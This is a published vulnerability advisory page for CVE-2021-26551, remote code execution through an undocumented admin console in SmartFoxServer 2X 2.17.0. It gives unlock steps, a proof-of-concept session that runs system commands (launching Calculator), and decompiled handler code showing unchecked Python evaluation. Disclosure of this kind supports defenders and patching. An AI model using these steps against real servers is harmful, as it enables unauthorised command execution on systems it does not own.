SmartFoxServer 2X 2.17.0 Remote Code Execution

Authored by LiquidWorm | Site zeroscience.mk

Posted Feb 8, 2021

SmartFoxServer 2X version 2.17.0 suffers from a God Mode Console remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2021-26551
SHA-256 | 03b5281c632e520c856359db17d4f588b46523bd5c5fc5c6fb099c8c5708af45

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: An authenticated attacker can execute remote arbitrary
Python code after enabling and unlocking the undocumented
console module.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5628
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5628.php

CVE ID: CVE-2021-26551
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26551
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26551


29.01.2021

--


------------------------------------------------------
Undocumented functionality in software
#INABIAF (https://en.wikipedia.org/wiki/Undocumented_feature)
           See also:
             - Backdoor (computing)
             - Easter egg (media)
God Mode Console (Console Module) unlock instructions:
------------------------------------------------------

$ pwd
/config/admin
$ vi /admintool.xml # Uncomment <module id="Console" name="Console" description="Interact with the
SmartFoxServer instance via command line"/>
$ cd .. ;pwd
/config
$ touch ConsoleModuleUnlock.txt


Mac/Windows PoC:
----------------

GET http://localhost:8080/admin/modules/console.html HTTP/1.1

---------------------------------------
ADMIN_CONSOLE, version 3.0.0
---------------------------------------
Type help() for assistance.

> help()
zm      SFSZoneManager
sfs     SmartFoxServer
um      SFSUserManager
api     SFSApi
bum     SFSBannedUserManager
xm      SFSExtensionManager
eng     BitSwarmEngine
sm      DefaultSessionManager

extras()    For more custom function calls
shortcuts() For keyboard shortcuts details

> eng
com.smartfoxserver.bitswarm.core.BitSwarmEngine@3823acc4
> extras()
version():                  Shows the Console extension version
reloadScripts():            Reload the dynamic server scripts
execute():                  Launches the last loaded script again
files(path):                Shows the files at the specified path
controller(id):             Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher
zones():                    List of active zones

> version()
2.0.1
> files(".") # Win64
['config', 'data', 'extensions', 'lib', 'logs', 'sfs2x-service.exe', 'sfs2x-service.vmoptions', 'sfs2x-
standalone.exe', 'sfs2x-standalone.vmoptions', 'sfs2x.bat', 'www', 'zones']
> files(".") # MacOS
['zones', 'config', 'www', 'extensions', 'logs', 'lib', 'sfs2x-service.vmoptions', 'sfs2x-
standalone.vmoptions', 'sfs2x.-standalone', 'data', 'sfs2x-service']
> import os
> os.name
java
> os.system("C:\\windows\\system32\\calc.exe") # Win64
1

> import popen2
> os.popen2("""osascript -e 'tell app "Calculator" to open'""") # MacOS
1
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

>

gmc.py:

```
#
#  _____ _____ _____    _____ _____ _____ _____ _____
# |   __|     |     \   |     |     |     \|    __|
# |   |  |  |  |  |  |  | | | |  |  |  |  |   __|
# |_____|_____|_____/   |_|_|_|_____|_____/|_____|
#  _____ _____ _____ _____ _____ __    _____
# |   __|     |   | |  _  |   __|  |  |   __|
# |   --|  |  | | | |     |__   |  |__|   __|
# |_____|_____|_|___|__|__|_____|_____|_____|
#
# SmartFoxServer2X Admin Console Scripts
#
# (c) 2012-2016 gotoAndPlay()
# @author Marco Lapi
#
# Version 2.x
#

# Python Imports
import types
import sys


#
# This global variable allows to lock the Console so that it can't be misused
#
__CONSOLE_LOCK = False

# Java Imports
import java
from com.smartfoxserver.v2.entities.data import *

__scripts = [
        {'name':'version()', 'doc':'Shows the Console extension version'},
        {'name':'reloadScripts()', 'doc':'Reload the dynamic server scripts'},
        {'name':'execute()', 'doc':'Launches the last loaded script again'},
        {'name':'files(path)', 'doc':'Shows the files at the specified path'},
        {'name':'controller(id)', 'doc':'Obtain one of the controllers from its id. 0=System, 1=Extension,
2=Smasher'},
        {'name':'zones()', 'doc':'List of active zones'}

...
...


javashell.py:
-------------

        # override defaults based on osType
        if osType == "nt":
            shellCmd = ["cmd", "/c"]
            envCmd = "set"
            envTransform = string.upper
        elif osType == "dos":
            shellCmd = ["command.com", "/c"]
            envCmd = "set"
            envTransform = string.upper
        elif osType == "posix":
            shellCmd = ["sh", "-c"]
            envCmd = "env"
        elif osType == "mac":
            curdir = ':'  # override Posix directories
            pardir = '::'
        elif osType == "None":
            pass
        # else:
        #    # may want a warning, but only at high verbosity:
        #    __warn( "Unknown os type '%s', using default behavior." % osType )

    return _ShellEnv( shellCmd, envCmd, envTransform )



com--|
     |--smartfoxserver--|
                        |--v2--|
                               |--admin--|
                                         |--handlers--|
                                                      |--requests--|
                                                                   |--ConsoleModuleReqHandler.java:
-------------------------------------------------------------------------------------------------------

package com.smartfoxserver.v2.admin.handlers.requests;

import org.python.core.PyJavaInstance;
import org.python.core.PyException;
import com.smartfoxserver.v2.SmartFoxServer;
import java.io.IOException;
import org.apache.commons.io.FileUtils;
import java.io.File;
import com.smartfoxserver.bitswarm.core.BitSwarmEngine;
import org.python.core.PyString;
import org.python.core.Py;
import org.python.core.PySystemState;
import com.smartfoxserver.v2.entities.data.SFSObject;
import com.smartfoxserver.v2.extensions.ExtensionLogLevel;
import com.smartfoxserver.v2.entities.data.ISFSObject;
import com.smartfoxserver.v2.entities.User;
import org.python.core.PyObject;
import org.python.util.PythonInterpreter;
import com.smartfoxserver.v2.annotations.Instantiation;
import com.smartfoxserver.v2.annotations.MultiHandler;

@MultiHandler
@Instantiation(Instantiation.InstantiationMode.SINGLE_INSTANCE)
public class ConsoleModuleReqHandler extends BaseAdminModuleReqHandler
{
    public static final String MODULE_ID = "Console";
    public static final String VER = "2.0.1";
    private static final String MODULE_UNLOCK_FILE = "ConsoleModuleUnlock.txt";
    private static final String COMMANDS_PREFIX = "console";
    private static final String FN_HINTS = "__hints__";
    private static final String CONSOLE_LOCK = "__CONSOLE_LOCK";
    private static final String CMD_RELOAD_SCRIPTS = "reloadScripts()";
    private static final String SCRIPT_PATH = "config/admin/gmc/";
    private static final String MAIN_SCRIPT = "gmc.py";
    private static final String GRID_SCRIPT = "gmc-grid.py";
    private final String REQ_CMD = "cmd";
    private final String REQ_HINT = "hint";
    private final String REQ_SCRIPT = "script";
    private final String RES_ERROR_LOCKED = "locked";
    protected PythonInterpreter runTime;
    private PyObject fnGetHints;
    private volatile boolean inited;

    public ConsoleModuleReqHandler() {
        super("console", "Console");
        this.inited = false;
    }

    public void handleAdminRequest(final User sender, final ISFSObject params) {
        if (!this.inited) {
            this.init();
        }
        if (!this.isModuleUnlocked()) {
            this.trace(ExtensionLogLevel.WARN, "Console module is locked. Request denied");
            this.sendResponse("locked", (ISFSObject)new SFSObject(), sender);
            return;
        }
        final String cmd = params.getUtfString("__[[REQUEST_ID]]__");
        if (cmd.equals("cmd")) {
            this.handleCommand(params, sender);
        }
        else if (cmd.equals("hint")) {
            this.handleCodeHint(params, sender);
        }
        else if (cmd.equals("script")) {
            this.handleScript(params, sender);
        }
    }

    public synchronized void init() {
        final String script = this.loadMainScript();
        if (script == null) {
            throw new RuntimeException("Cannot load AdminConsole's helper script! Plase reinstall this
Extension making sure to follow the documentation step by step.");
        }
```

```
        this.runTime = new PythonInterpreter((PyObject)null, new PySystemState());
        final PySystemState sys = Py.getSystemState();
        sys.path.append((PyObject)new PyString("./extensions/"));
        sys.path.append((PyObject)new PyString("./extensions/__lib__/AdminConsole/"));
        this.runTime.set("sfs", (Object)this.sfs);
        this.runTime.set("eng", (Object)BitSwarmEngine.getInstance());
        this.runTime.set("api", (Object)this.sfs.getAPIManager().getSFSApi());
        this.runTime.set("um", (Object)this.sfs.getUserManager());
        this.runTime.set("zm", (Object)this.sfs.getZoneManager());
        this.runTime.set("xm", (Object)this.sfs.getExtensionManager());
        this.runTime.set("bum", (Object)this.sfs.getBannedUserManager());
        this.runTime.set("sm", (Object)this.sfs.getSessionManager());
        this.runTime.set("__parent__", (Object)this);
        this.runTime.exec("_2XGlobals_ =
{'sfs':sfs,'eng':eng,'api':api,'um':um,'zm':zm,'xm':xm,'bum':bum,'sm':sm}");
        this.runTime.exec(script);
        this.fnGetHints = this.runTime.get("__hints__");
        this.inited = true;
    }

    private String loadMainScript() {
        String script = null;
        try {
            script = FileUtils.readFileToString(new File("config/admin/gmc/gmc.py"));
        }
        catch (IOException ex) {}
        if (SmartFoxServer.grid()) {
            String gridScript = null;
            try {
                gridScript = FileUtils.readFileToString(new File("config/admin/gmc/gmc-grid.py"));
                script = String.valueOf(script) + gridScript;
            }
            catch (IOException ex2) {}
        }
        return script;
    }

    private void handleCommand(final ISFSObject params, final User sender) {
        PyException err = null;
        final String cmd = params.getUtfString("c");
        PyObject result = null;
        ISFSObject response = null;
        if (!cmd.equals("reloadScripts()")) {
            this.checkConsoleLock();
        }
        try {
            result = this.runTime.eval(cmd);
        }
        catch (PyException err3) {
            try {
                this.runTime.exec(cmd);
            }
            catch (PyException err2) {
                err = err2;
            }
        }
        if (result != null) {
            String repr = null;
            if (result instanceof PyJavaInstance) {
                final Object o = ((PyJavaInstance)result).__tojava__((Class)Object.class);
                repr = o.toString();
            }
            else {
                repr = result.toString();
            }
            repr = this.checkHTML(repr);
            response = (ISFSObject)new SFSObject();
            response.putUtfString("r", repr);
        }
        else if (err != null) {
            response = (ISFSObject)new SFSObject();
            response.putUtfString("e", err.toString());
        }
        this.sendResponse("cmd", response, sender);
    }

    private void handleCodeHint(final ISFSObject params, final User sender) {
        this.checkConsoleLock();
        final String cmd = params.getUtfString("c");
        try {
            final PyObject pyObj = this.runTime.eval(cmd);
            final PyObject res = this.fnGetHints.__call__(pyObj, (PyObject)new PyJavaInstance((Object)sender));
            final SFSObject sfso = (SFSObject)res.__tojava__((Class)SFSObject.class);
            this.sendResponse("hint", (ISFSObject)sfso, sender);
        }
        catch (PyException ex) {}
    }

    private void handleScript(final ISFSObject params, final User sender) {
        this.checkConsoleLock();
        final byte[] data = params.getByteArray("script");
        final String scriptData = new String(data);
        final ISFSObject response = (ISFSObject)new SFSObject();
        try {
            this.runTime.exec(scriptData);
            final PyObject fnExecute = this.runTime.get("execute");
            final PyObject res = fnExecute.__call__();
            response.putUtfString("r", res.toString());
        }
        catch (PyException err) {
            response.putUtfString("e", err.toString());
        }
        this.sendResponse("script", response, sender);
    }

    private String checkHTML(String data) {
        if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) {
            data = data.replaceAll("\\<", "<");
            return data.replaceAll("\\>", ">");
        }
        return data;
    }

    private void checkConsoleLock() {
        final Boolean locked = (Boolean)this.runTime.get("__CONSOLE_LOCK", (Class)Boolean.class);
        if (locked) {
            throw new IllegalStateException("Admin Console is locked.");
        }
    }

    private boolean isModuleUnlocked() {
        final File lock = new File("config/ConsoleModuleUnlock.txt");
        return lock.exists();
    }
}
```